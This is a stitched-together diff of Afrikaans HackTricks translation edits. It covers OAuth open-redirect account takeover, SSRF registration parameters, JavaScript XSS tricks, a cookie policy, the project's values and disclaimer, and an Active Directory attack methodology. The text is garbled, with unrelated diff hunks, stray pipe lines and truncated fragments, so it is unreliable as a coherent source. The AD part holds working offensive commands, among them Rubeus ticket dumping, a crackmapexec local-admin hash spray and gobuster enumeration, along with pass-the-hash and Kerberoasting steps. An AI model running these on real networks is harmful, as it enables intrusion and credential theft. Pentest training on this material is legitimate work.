4. Die slagoffer **webwerf aktiveer die oop herleiding gebaseer op die verwysing** wat die slagoffer gebruiker na die aanvaller se webwerf herlei, aangesien die **`respose_type`** **`id_token,code`** was, sal die kode teruggestuur word na die aanvaller in die **fragment** van die URL wat hom toelaat om die rekening van die gebruiker via Google op die slagoffer se webwerf oor te neem.
|
||||
4. Die slagoffer **webwerf aktiveer die oop herleiding gebaseer op die verwysing** wat die slagoffer gebruiker na die aanvaller se webwerf herlei, aangesien die **`respose_type`** **`id_token,code`** was, sal die kode aan die aanvaller in die **fragment** van die URL gestuur word, wat hom in staat stel om die rekening van die gebruiker via Google op die slagoffer se webwerf oor te neem.
|
||||
|
||||
### SSRFs parameters <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -199,10 +199,10 @@ Dinamiese Kliënt Registrasie in OAuth dien as 'n minder voor die hand liggende
|
||||
**Belangrike Punten:**
|
||||
|
||||
- **Dinamiese Kliënt Registrasie** word dikwels aan `/register` gekarteer en aanvaar besonderhede soos `client_name`, `client_secret`, `redirect_uris`, en URL's vir logo's of JSON Web Key Sets (JWKs) via POST versoeke.
|
||||
- Hierdie funksie voldoen aan spesifikasies uiteengesit in **RFC7591** en **OpenID Connect Registrasie 1.0**, wat parameters insluit wat potensieel kwesbaar is vir SSRF.
|
||||
- Hierdie funksie voldoen aan spesifikasies uiteengesit in **RFC7591** en **OpenID Connect Registrasie 1.0**, wat parameters insluit wat moontlik kwesbaar is vir SSRF.
|
||||
- Die registrasieproses kan onbedoeld bedieners aan SSRF blootstel op verskeie maniere:
|
||||
- **`logo_uri`**: 'n URL vir die kliënt aansoek se logo wat deur die bediener opgevraag kan word, wat SSRF kan aktiveer of kan lei tot XSS as die URL verkeerd hanteer word.
|
||||
- **`jwks_uri`**: 'n URL na die kliënt se JWK dokument, wat, as dit kwaadwillig saamgestel is, die bediener kan laat uitgaande versoeke na 'n aanvaller-beheerde bediener maak.
|
||||
- **`jwks_uri`**: 'n URL na die kliënt se JWK dokument, wat, as dit kwaadwillig saamgestel is, die bediener kan dwing om uitgaande versoeke na 'n aanvaller-beheerde bediener te maak.
|
||||
- **`sector_identifier_uri`**: Verwys na 'n JSON-array van `redirect_uris`, wat die bediener mag opvra, wat 'n SSRF geleentheid skep.
|
||||
- **`request_uris`**: Lys toegelate versoek URI's vir die kliënt, wat misbruik kan word as die bediener hierdie URI's aan die begin van die outorisering proses opvra.
|
||||
|
||||
|
@ -121,6 +121,8 @@ l = chr(int(L[-2:],16))
|
||||
if(h == findHex[0]) and (l == findHex[1]):
|
||||
print(H.replace("0x","\\u")+L.replace("0x","\\u"))
|
||||
```
|
||||
Meer inligting:
|
||||
|
||||
### `javascript{}:` Protokol Fuzzing
|
||||
```javascript
|
||||
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
|
||||
@ -197,7 +199,7 @@ Die hulpmiddel **Hackability inspector** van Portswigger help om die **attribuut
|
||||
|
||||
## "--" Toewysing
|
||||
|
||||
Die afname operateur `--` is ook 'n toewysing. Hierdie operateur neem 'n waarde en verminder dit dan met een. As daardie waarde nie 'n getal is nie, sal dit op `NaN` gestel word. Dit kan gebruik word om die **inhoud van veranderlikes uit die omgewing te verwyder**.
|
||||
Die afname operator `--` is ook 'n toewysing. Hierdie operator neem 'n waarde en verminder dit dan met een. As daardie waarde nie 'n getal is nie, sal dit op `NaN` gestel word. Dit kan gebruik word om die **inhoud van veranderlikes uit die omgewing te verwyder**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -274,9 +276,9 @@ return a + 1
|
||||
//Arrow
|
||||
plusone = (a) => a + 100
|
||||
```
|
||||
### Bind funksie
|
||||
### Bind-funksie
|
||||
|
||||
Die bind funksie laat jou toe om 'n **kopie** van 'n **funksie te skep wat** die **`this`** objek en die **parameters** wat gegee is, **wysig**.
|
||||
Die bind-funksie laat jou toe om 'n **kopie** van 'n **funksie te skep wat** die **`this`** objek en die **parameters** wat gegee is, te wysig.
|
||||
```javascript
|
||||
//This will use the this object and print "Hello World"
|
||||
var fn = function (param1, param2) {
|
||||
@ -345,7 +347,7 @@ return String(this)
|
||||
```
|
||||
## Sandbox Escape - Herwinning van die window objek
|
||||
|
||||
Die Window objek maak dit moontlik om globaal gedefinieerde funksies soos alert of eval te bereik.
|
||||
Die Window objek maak dit moontlik om wêreldwyd gedefinieerde funksies soos alert of eval te bereik.
|
||||
```javascript
|
||||
// Some ways to access window
|
||||
window.eval("alert(1)")
|
||||
|
@ -24,7 +24,7 @@ Ons gebruik koekies op ons webwerwe vir die volgende doeleindes:
|
||||
1. Essensiële koekies: Hierdie koekies is noodsaaklik vir die basiese funksionaliteit van ons webwerwe, soos om gebruikersverifikasie moontlik te maak, sekuriteit te handhaaf en jou voorkeure te onthou.
|
||||
2. Prestasie koekies: Hierdie koekies help ons om te verstaan hoe besoekers met ons webwerwe interaksie het, deur anoniem inligting te versamel en te rapporteer. Dit stel ons in staat om ons webwerf se prestasie en gebruikerservaring te verbeter.
|
||||
3. Funksionaliteit koekies: Hierdie koekies stel ons webwerwe in staat om keuses wat jy maak te onthou, soos jou taal of streek, om 'n meer persoonlike ervaring te bied.
|
||||
4. Teiken/advertering koekies: Hierdie koekies word gebruik om relevante advertensies en bemarkingskommunikasies te lewer op grond van jou belangstellings, blaai geskiedenis en interaksies met ons webwerwe.
|
||||
4. Teiken/advertensie koekies: Hierdie koekies word gebruik om relevante advertensies en bemarkingskommunikasies te lewer op grond van jou belangstellings, blaai geskiedenis en interaksies met ons webwerwe.
|
||||
|
||||
Boonop word die bladsye book.hacktricks.wiki en cloud.hacktricks.wiki in Gitbook gehos. Jy kan meer inligting oor Gitbook se koekies vind in [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy).
|
||||
|
||||
@ -34,7 +34,7 @@ Benewens ons eie koekies, mag ons ook derdeparty koekies gebruik om webwerfgebru
|
||||
|
||||
Koekies bestuur
|
||||
|
||||
Die meeste webblaaiers laat jou toe om koekies deur hul instellings te bestuur. Jy kan kies om die gebruik van koekies op jou toestel te blokkeer, te verwyder of te beperk. Hou egter in gedagte dat die deaktivering van koekies die funksionaliteit en prestasie van ons webwerwe kan beïnvloed.
|
||||
Meeste webblaaiers laat jou toe om koekies deur hul instellings te bestuur. Jy kan kies om koekies op jou toestel te blokkeer, te verwyder of te beperk. Neem egter kennis dat die deaktivering van koekies die funksionaliteit en prestasie van ons webwerwe kan beïnvloed.
|
||||
|
||||
Veranderinge aan hierdie Cookiesbeleid
|
||||
|
||||
|
@ -7,15 +7,15 @@
|
||||
> [!TIP]
|
||||
> Dit is die **waardes van die HackTricks Projek**:
|
||||
>
|
||||
> - Gee **VRYE** toegang tot **OPVOEDKUNDIGE hacking** hulpbronne aan **AL** Internet.
|
||||
> - Gee **VRYE** toegang tot **OPVOEDKUNDIGE hacking** hulpbronne aan **AL** die Internet.
|
||||
> - Hacking gaan oor leer, en leer moet so vry as moontlik wees.
|
||||
> - Die doel van hierdie boek is om as 'n omvattende **opvoedkundige hulpbron** te dien.
|
||||
> - **BLAK** wonderlike **hacking** tegnieke wat die gemeenskap publiseer en gee die **OORSPRONKLIKE** **SKRYVERS** al die **krediete**.
|
||||
> - **Ons wil nie die krediet van ander mense hê nie**, ons wil net cool truuks stoor vir almal.
|
||||
> - Ons skryf ook **ons eie navorsings** in HackTricks.
|
||||
> - **Ons wil nie die krediet van ander mense nie**, ons wil net cool truuks stoor vir almal.
|
||||
> - Ons skryf ook **ons eie navorsing** in HackTricks.
|
||||
> - In verskeie gevalle sal ons net **in HackTricks 'n opsomming van die belangrike dele** van die tegniek skryf en sal ons **die leser aanmoedig om die oorspronklike pos te besoek** vir meer besonderhede.
|
||||
> - **ORGANISEER** al die hacking tegnieke in die boek sodat dit **MEER TOEGANKLIK** is.
|
||||
> - Die HackTricks span het duisende ure gratis gewy **net om die inhoud te organiseer** sodat mense **vinniger kan leer**.
|
||||
> - Die HackTricks span het duisende ure gratis gewy **net om die inhoud te organiseer** sodat mense **vinnig kan leer**.
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -27,7 +27,7 @@
|
||||
|
||||
Jy kan die HackTricks span publiek bedank vir die saamstel van al hierdie hulpbronne in 'n tweet wat [**@hacktricks_live**](https://twitter.com/hacktricks_live) noem.\
|
||||
As jy veral dankbaar is, kan jy ook [**die projek hier borg**](https://github.com/sponsors/carlospolop).\
|
||||
En moenie vergeet om **'n ster in die Github projekte te gee nie!** (Vind die skakels hieronder).
|
||||
En moenie vergeet om **'n ster in die Github projekte te gee!** (Vind die skakels hieronder).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
@ -38,19 +38,19 @@ Jy kan **nuwe wenke en truuks met die gemeenskap deel of foute regmaak** wat jy
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
Moet nie vergeet om **'n ster in die Github projekte te gee nie!**
|
||||
Moet nie vergeet om **'n ster in die Github projekte te gee!**
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Kan ek 'n paar inhoud van HackTricks kopieer en dit in my blog plaas?**
|
||||
|
||||
Ja, jy kan, maar **moet nie vergeet om die spesifieke skakel(s)** waar die inhoud vandaan gekom het te noem nie.
|
||||
Ja, jy kan, maar **moet nie vergeet om die spesifieke skakel(s)** waar die inhoud geneem is te noem nie.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Hoe kan ek 'n bladsy van HackTricks aanhaal?**
|
||||
|
||||
Solank as die skakel **van** die bladsy(e) waar jy die inligting vandaan geneem het verskyn, is dit genoeg.\
|
||||
Solank as die skakel **van** die bladsy(s) waar jy die inligting geneem het verskyn, is dit genoeg.\
|
||||
As jy 'n bibtex nodig het, kan jy iets soos gebruik:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
@ -76,7 +76,7 @@ Die eerste **HackTricks** **waarde** is om **GRATIS** hacking opvoedkundige hulp
|
||||
|
||||
As jy dink HackTricks boeke is gemaak vir **kommersiële doeleindes** is jy **HEELTEMAL VERKEERD**.
|
||||
|
||||
Ons het borge omdat, selfs al is al die inhoud GRATIS, ons wil **die gemeenskap die moontlikheid bied om ons werk te waardeer** as hulle wil. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en **relevante kuberveiligheidsmaatskappye** om HackTricks te borg en om **'n paar advertensies** in die boek te hê, wat die **advertensies** altyd geplaas word in plekke waar hulle **sigbaar** is maar **nie die leer** proses steur as iemand op die inhoud fokus nie.
|
||||
Ons het borge omdat, selfs al is al die inhoud GRATIS, ons wil **die gemeenskap die moontlikheid bied om ons werk te waardeer** as hulle wil. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en **relevante kuberveiligheidsmaatskappye** om HackTricks te borg en om **'n paar advertensies** in die boek te hê, met die **advertensies** altyd geplaas in plekke waar hulle **sigbaar** is maar **nie die leer** proses steur nie as iemand op die inhoud fokus.
|
||||
|
||||
Jy sal nie HackTricks vol irritante advertensies vind soos ander blogs met baie minder inhoud as HackTricks nie, omdat HackTricks nie gemaak is vir kommersiële doeleindes nie.
|
||||
|
||||
@ -96,7 +96,7 @@ Let daarop dat om skakels na jou bladsy in HackTricks te hê:
|
||||
- Die inhoud word **vertaal na meer as 15 tale** wat dit moontlik maak vir meer mense om toegang tot hierdie inhoud te hê
|
||||
- **HackTricks moedig** mense aan om **jou bladsy te kyk** (verskeie mense het vir ons genoem dat sedert 'n paar van hulle se bladsye in HackTricks is, hulle meer besoeke ontvang)
|
||||
|
||||
As jy egter steeds wil hê dat die inhoud van jou blog verwyder moet word uit HackTricks, laat weet ons net en ons sal beslis **elke skakel na jou blog verwyder**, en enige inhoud gebaseer daarop.
|
||||
As jy egter steeds wil hê dat die inhoud van jou blog verwyder moet word uit HackTricks, laat weet ons asseblief en ons sal beslis **elke skakel na jou blog verwyder**, en enige inhoud gebaseer daarop.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
@ -130,13 +130,13 @@ Hierdie lisensie gee nie enige handelsmerk of handelsnaam regte in verband met d
|
||||
## **Disclaimer**
|
||||
|
||||
> [!CAUTION]
|
||||
> Hierdie boek, 'HackTricks,' is bedoel vir opvoedkundige en inligtingsdoeleindes slegs. Die inhoud binne hierdie boek word op 'n 'soos dit is' basis verskaf, en die outeurs en uitgewers maak geen verteenwoordigings of waarborge van enige aard, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid, of beskikbaarheid van die inligting, produkte, dienste, of verwante grafika wat binne hierdie boek bevat is nie. Enige vertroue wat jy op sulke inligting plaas, is dus streng op jou eie risiko.
|
||||
> Hierdie boek, 'HackTricks,' is bedoel vir opvoedkundige en informele doeleindes slegs. Die inhoud binne hierdie boek word op 'n 'as is' basis verskaf, en die outeurs en uitgewers maak geen verteenwoordigings of waarborge van enige aard, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid, of beskikbaarheid van die inligting, produkte, dienste, of verwante grafika wat binne hierdie boek bevat is nie. Enige vertroue wat jy op sulke inligting plaas, is dus streng op jou eie risiko.
|
||||
>
|
||||
> Die outeurs en uitgewers sal in geen geval aanspreeklik wees vir enige verlies of skade, insluitend sonder beperking, indirekte of gevolglike verlies of skade, of enige verlies of skade wat ontstaan uit verlies van data of wins wat ontstaan uit, of in verband met, die gebruik van hierdie boek.
|
||||
> Die outeurs en uitgewers sal in geen geval aanspreeklik wees vir enige verlies of skade, insluitend sonder beperking, indirekte of gevolglike verlies of skade, of enige verlies of skade wat ontstaan uit verlies van data of winste wat ontstaan uit, of in verband met, die gebruik van hierdie boek.
|
||||
>
|
||||
> Verder, die tegnieke en wenke wat in hierdie boek beskryf word, word slegs vir opvoedkundige en inligtingsdoeleindes verskaf, en moet nie vir enige onwettige of kwaadwillige aktiwiteite gebruik word nie. Die outeurs en uitgewers keur geen onwettige of onetiese aktiwiteite goed nie, en enige gebruik van die inligting wat binne hierdie boek bevat is, is op die gebruiker se eie risiko en diskresie.
|
||||
> Verder, die tegnieke en wenke wat in hierdie boek beskryf word, word slegs vir opvoedkundige en informele doeleindes verskaf, en moet nie vir enige onwettige of kwaadwillige aktiwiteite gebruik word nie. Die outeurs en uitgewers keur geen onwettige of onetiese aktiwiteite goed nie, en enige gebruik van die inligting wat binne hierdie boek bevat is op die gebruiker se eie risiko en diskresie.
|
||||
>
|
||||
> Die gebruiker is slegs verantwoordelik vir enige aksies wat geneem word op grond van die inligting wat binne hierdie boek bevat is, en moet altyd professionele advies en hulp soek wanneer hulle probeer om enige van die tegnieke of wenke wat hierin beskryf word, te implementeer.
|
||||
> Die gebruiker is slegs verantwoordelik vir enige aksies wat geneem word op grond van die inligting wat binne hierdie boek bevat is, en moet altyd professionele advies en hulp soek wanneer hulle probeer om enige van die tegnieke of wenke wat hier beskryf word, te implementeer.
|
||||
>
|
||||
> Deur hierdie boek te gebruik, stem die gebruiker in om die outeurs en uitgewers vry te stel van enige en alle aanspreeklikheid en verantwoordelikheid vir enige skade, verliese, of skade wat mag voortvloei uit die gebruik van hierdie boek of enige van die inligting wat daarin bevat is.
|
||||
|
||||
|
@ -12,14 +12,14 @@ Belangrike konsepte binne **Aktiewe Gids** sluit in:
|
||||
|
||||
1. **Gids** – Huis al die inligting rakende Aktiewe Gids objekte.
|
||||
2. **Objek** – Verwys na entiteite binne die gids, insluitend **gebruikers**, **groepe**, of **gedeelde vouers**.
|
||||
3. **Domein** – Dien as 'n houer vir gidsobjekte, met die vermoë dat verskeie domeine saam in 'n **woud** kan bestaan, elk wat sy eie objekversameling handhaaf.
|
||||
3. **Domein** – Dien as 'n houer vir gidsobjekte, met die vermoë dat verskeie domeine binne 'n **woud** kan bestaan, elk wat sy eie objekversameling handhaaf.
|
||||
4. **Boom** – 'n Groepering van domeine wat 'n gemeenskaplike worteldomein deel.
|
||||
5. **Woud** – Die hoogtepunt van organisatoriese struktuur in Aktiewe Gids, saamgestel uit verskeie bome met **vertrouensverhoudings** tussen hulle.
|
||||
|
||||
**Aktiewe Gids Domein Dienste (AD DS)** omvat 'n reeks dienste wat krities is vir die gesentraliseerde bestuur en kommunikasie binne 'n netwerk. Hierdie dienste sluit in:
|
||||
|
||||
1. **Domein Dienste** – Sentraliseer data berging en bestuur interaksies tussen **gebruikers** en **domeine**, insluitend **verifikasie** en **soek** funksies.
|
||||
2. **Sertifikaat Dienste** – Oorsien die skepping, verspreiding, en bestuur van veilige **digitale sertifikate**.
|
||||
2. **Sertifikaat Dienste** – Toesig oor die skepping, verspreiding, en bestuur van veilige **digitale sertifikate**.
|
||||
3. **Liggewig Gids Dienste** – Ondersteun gids-geaktiveerde toepassings deur die **LDAP protokol**.
|
||||
4. **Gids Federasie Dienste** – Verskaf **enkele-aanmelding** vermoëns om gebruikers oor verskeie webtoepassings in 'n enkele sessie te verifieer.
|
||||
5. **Regte Bestuur** – Help om kopiereg materiaal te beskerm deur die ongeoorloofde verspreiding en gebruik daarvan te reguleer.
|
||||
@ -29,7 +29,7 @@ Vir 'n meer gedetailleerde verduideliking kyk: [**TechTerms - Aktiewe Gids Defin
|
||||
|
||||
### **Kerberos Verifikasie**
|
||||
|
||||
Om te leer hoe om 'n **AD** te **aanval**, moet jy die **Kerberos verifikasie proses** regtig goed **begryp**.\
|
||||
Om te leer hoe om 'n **AD** aan te val, moet jy die **Kerberos verifikasie proses** regtig goed verstaan.\
|
||||
[**Lees hierdie bladsy as jy nog nie weet hoe dit werk nie.**](kerberos-authentication.md)
|
||||
|
||||
## Cheat Sheet
|
||||
@ -41,8 +41,8 @@ Jy kan baie na [https://wadcoms.github.io/](https://wadcoms.github.io) neem om '
|
||||
As jy net toegang het tot 'n AD omgewing maar jy het geen krediete/sessies nie, kan jy:
|
||||
|
||||
- **Pentest die netwerk:**
|
||||
- Skandeer die netwerk, vind masjiene en oop poorte en probeer om **kwesbaarhede** te **ontgin** of **krediete** van hulle te **onttrek** (byvoorbeeld, [drukker kan baie interessante teikens wees](ad-information-in-printers.md)).
|
||||
- Die opsporing van DNS kan inligting oor sleutelbedieners in die domein gee soos web, drukker, gedeeltes, vpn, media, ens.
|
||||
- Skandeer die netwerk, vind masjiene en oop poorte en probeer om **kwesbaarhede** te **ontgin** of **krediete** daaruit te **onttrek** (byvoorbeeld, [drukkers kan baie interessante teikens wees](ad-information-in-printers.md)).
|
||||
- Die opsporing van DNS kan inligting oor sleutelbedieners in die domein gee soos web, drukkers, gedeeltes, vpn, media, ens.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Kyk na die Algemene [**Pentesting Metodologie**](../../generic-methodologies-and-resources/pentesting-methodology.md) om meer inligting te vind oor hoe om dit te doen.
|
||||
- **Kontroleer vir null en Gaste toegang op smb dienste** (dit sal nie op moderne Windows weergawes werk nie):
|
||||
@ -111,7 +111,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
|
||||
|
||||
Goed, so jy weet jy het reeds 'n geldige gebruikersnaam maar geen wagwoorde nie... Probeer dan:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): As 'n gebruiker **nie** die attribuut _DONT_REQ_PREAUTH_ het nie, kan jy **'n AS_REP boodskap aan vra** vir daardie gebruiker wat sekere data bevat wat deur 'n afgeleide van die gebruiker se wagwoord geënkripteer is.
|
||||
- [**ASREPRoast**](asreproast.md): As 'n gebruiker **nie** die attribuut _DONT_REQ_PREAUTH_ het nie, kan jy **'n AS_REP boodskap aan vra** vir daardie gebruiker wat sekere data sal bevat wat deur 'n afgeleide van die gebruiker se wagwoord geënkripteer is.
|
||||
- [**Password Spraying**](password-spraying.md): Kom ons probeer die mees **gewone wagwoorde** met elkeen van die ontdekte gebruikers, dalk gebruik 'n gebruiker 'n swak wagwoord (hou die wagwoordbeleid in gedagte!).
|
||||
- Let daarop dat jy ook **OWA bedieners kan spray** om toegang tot die gebruikers se posbedieners te probeer kry.
|
||||
|
||||
@ -121,7 +121,7 @@ password-spraying.md
|
||||
|
||||
### LLMNR/NBT-NS Vergiftiging
|
||||
|
||||
Jy mag dalk in staat wees om **uitdaging **hashes** te **verkry** om **vergiftiging** van sommige protokolle van die **netwerk** te kraak:
|
||||
Jy mag dalk in staat wees om **uitdaging **hashes** te **verkry** om **vergiftiging** van sekere protokolle van die **netwerk** te kraak:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
@ -143,7 +143,7 @@ As jy **ander PC's of gedeeltes** met die **null of gas gebruiker** kan **toegan
|
||||
|
||||
Vir hierdie fase moet jy **die krediete of 'n sessie van 'n geldige domeinrekening gekompromitteer het.** As jy 'n paar geldige krediete of 'n shell as 'n domein gebruiker het, **moet jy onthou dat die opsies wat voorheen gegee is steeds opsies is om ander gebruikers te kompromitteer**.
|
||||
|
||||
Voordat jy die geverifieerde enumerasie begin, moet jy weet wat die **Kerberos double hop probleem** is.
|
||||
Voordat jy met die geverifieerde enumerasie begin, moet jy weet wat die **Kerberos double hop probleem** is.
|
||||
|
||||
{{#ref}}
|
||||
kerberos-double-hop-problem.md
|
||||
@ -175,7 +175,7 @@ Dit is baie maklik om al die domein gebruikersname van Windows te verkry (`net u
|
||||
|
||||
### Kerberoast
|
||||
|
||||
Kerberoasting behels die verkryging van **TGS kaartjies** wat deur dienste wat aan gebruikersrekeninge gekoppel is, gebruik word en die kraken van hul enkripsie—wat gebaseer is op gebruikerswagwoorde—**aflyn**.
|
||||
Kerberoasting behels die verkryging van **TGS-tickets** wat deur dienste wat aan gebruikersrekeninge gekoppel is, gebruik word en die kraken van hul enkripsie—wat gebaseer is op gebruikerswagwoorde—**aflyn**.
|
||||
|
||||
Meer hieroor in:
|
||||
|
||||
@ -193,9 +193,9 @@ As jy gekompromitteerde krediete of 'n sessie as 'n gewone domein gebruiker het
|
||||
|
||||
Daar is 'n volledige bladsy in hierdie boek oor [**plaaslike privilege escalasie in Windows**](../windows-local-privilege-escalation/index.html) en 'n [**kontrolelys**](../checklist-windows-privilege-escalation.md). Moet ook nie vergeet om [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) te gebruik nie.
|
||||
|
||||
### Huidige Sessie Kaartjies
|
||||
### Huidige Sessie Tickets
|
||||
|
||||
Dit is baie **onwaarskynlik** dat jy **kaartjies** in die huidige gebruiker sal vind wat jou toestemming gee om **onverwagte hulpbronne** te benader, maar jy kan kyk:
|
||||
Dit is baie **onwaarskynlik** dat jy **tickets** in die huidige gebruiker sal vind wat jou toestemming gee om **onverwagte hulpbronne** te benader, maar jy kan kyk:
|
||||
```bash
|
||||
## List all tickets (if not admin, only current user tickets)
|
||||
.\Rubeus.exe triage
|
||||
@ -205,7 +205,7 @@ Dit is baie **onwaarskynlik** dat jy **kaartjies** in die huidige gebruiker sal
|
||||
```
|
||||
### NTML Relay
|
||||
|
||||
As jy daarin geslaag het om die aktiewe gids te enumereer, sal jy **meer e-posse en 'n beter begrip van die netwerk** hê. Jy mag dalk in staat wees om NTML [**relay-aanvalle**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** te dwing.**
|
||||
As jy daarin geslaag het om die aktiewe gids te evalueer, sal jy **meer e-posse en 'n beter begrip van die netwerk** hê. Jy mag dalk in staat wees om NTML [**relay-aanvalle**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** te dwing.**
|
||||
|
||||
### **Soek na Kredensiale in Rekenaar Deelshares**
|
||||
|
||||
@ -231,23 +231,23 @@ printnightmare.md
|
||||
|
||||
## Privilege escalation on Active Directory MET bevoorregte kredensiale/sessie
|
||||
|
||||
**Vir die volgende tegnieke is 'n gewone domeingebruiker nie genoeg nie, jy het 'n paar spesiale voorregte/kredensiale nodig om hierdie aanvalle uit te voer.**
|
||||
**Vir die volgende tegnieke is 'n gewone domein gebruiker nie genoeg nie, jy het 'n paar spesiale voorregte/kredensiale nodig om hierdie aanvalle uit te voer.**
|
||||
|
||||
### Hash ekstraksie
|
||||
|
||||
Hopelik het jy daarin geslaag om 'n **lokale admin** rekening te **kompromitteer** met behulp van [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) insluitend relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [bevoorregte plaaslike eskalasie](../windows-local-privilege-escalation/index.html).\
|
||||
Hopelik het jy daarin geslaag om 'n **lokale admin** rekening te **kompromitteer** met behulp van [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) insluitend relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [bevoorregte eskalasie plaaslik](../windows-local-privilege-escalation/index.html).\
|
||||
Dan is dit tyd om al die hashes in geheue en plaaslik te dump.\
|
||||
[**Lees hierdie bladsy oor verskillende maniere om die hashes te verkry.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Pass the Hash
|
||||
|
||||
**Sodra jy die hash van 'n gebruiker het**, kan jy dit gebruik om **te verteenwoordig**.\
|
||||
Jy moet 'n **gereedskap** gebruik wat die **NTLM-authentisering met** daardie **hash** sal **uitvoer** of jy kan 'n nuwe **sessionlogon** skep en daardie **hash** binne die **LSASS** **injekteer**, sodat wanneer enige **NTLM-authentisering uitgevoer word**, daardie **hash gebruik sal word.** Die laaste opsie is wat mimikatz doen.\
|
||||
Jy moet 'n **gereedskap** gebruik wat die **NTLM-authentisering met** daardie **hash** sal **uitvoer**, **of** jy kan 'n nuwe **sessionlogon** skep en daardie **hash** binne die **LSASS** **inspuit**, sodat wanneer enige **NTLM-authentisering uitgevoer word**, daardie **hash gebruik sal word.** Die laaste opsie is wat mimikatz doen.\
|
||||
[**Lees hierdie bladsy vir meer inligting.**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
|
||||
Hierdie aanval is daarop gemik om die **gebruikers NTLM-hash te gebruik om Kerberos-kaarte aan te vra**, as 'n alternatief vir die algemene Pass The Hash oor NTLM-protokol. Daarom kan dit veral **nuttig wees in netwerke waar die NTLM-protokol gedeaktiveer is** en slegs **Kerberos toegelaat word** as authentiseringsprotokol.
|
||||
Hierdie aanval is daarop gemik om **die gebruiker se NTLM-hash te gebruik om Kerberos-kaarte aan te vra**, as 'n alternatief vir die algemene Pass The Hash oor NTLM-protokol. Daarom kan dit veral **nuttig wees in netwerke waar die NTLM-protokol gedeaktiveer is** en slegs **Kerberos toegelaat word** as authentiseringsprotokol.
|
||||
|
||||
{{#ref}}
|
||||
over-pass-the-hash-pass-the-key.md
|
||||
@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### Pass the Ticket
|
||||
|
||||
In die **Pass The Ticket (PTT)** aanvalmetode, **steel aanvallers 'n gebruiker se authentiseringsticket** in plaas van hul wagwoord of hashwaardes. Hierdie gesteelde kaart word dan gebruik om die **gebruiker te verteenwoordig**, wat ongeoorloofde toegang tot hulpbronne en dienste binne 'n netwerk verkry.
|
||||
In die **Pass The Ticket (PTT)** aanvalmetode, **steel aanvallers 'n gebruiker se authentiseringsticket** in plaas van hul wagwoord of hash waardes. Hierdie gesteelde kaart word dan gebruik om die **gebruiker te verteenwoordig**, wat ongeoorloofde toegang tot hulpbronne en dienste binne 'n netwerk verkry.
|
||||
|
||||
{{#ref}}
|
||||
pass-the-ticket.md
|
||||
@ -263,7 +263,7 @@ pass-the-ticket.md
|
||||
|
||||
### Kredensiale Hergebruik
|
||||
|
||||
As jy die **hash** of **wagwoord** van 'n **lokale administrateur** het, moet jy probeer om **lokaal in te teken** op ander **PC's** daarmee.
|
||||
As jy die **hash** of **wagwoord** van 'n **lokale administrateur** het, moet jy probeer om **lokale aanmelding** te doen op ander **PC's** daarmee.
|
||||
```bash
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
### MSSQL Misbruik & Vertroude Skakels
|
||||
|
||||
As 'n gebruiker bevoegdhede het om **MSSQL instansies te benader**, kan hy dit gebruik om **opdragte** in die MSSQL gasheer uit te voer (as dit as SA loop), die NetNTLM **hash** te **steel** of selfs 'n **relay** **aanval** uit te voer.\
|
||||
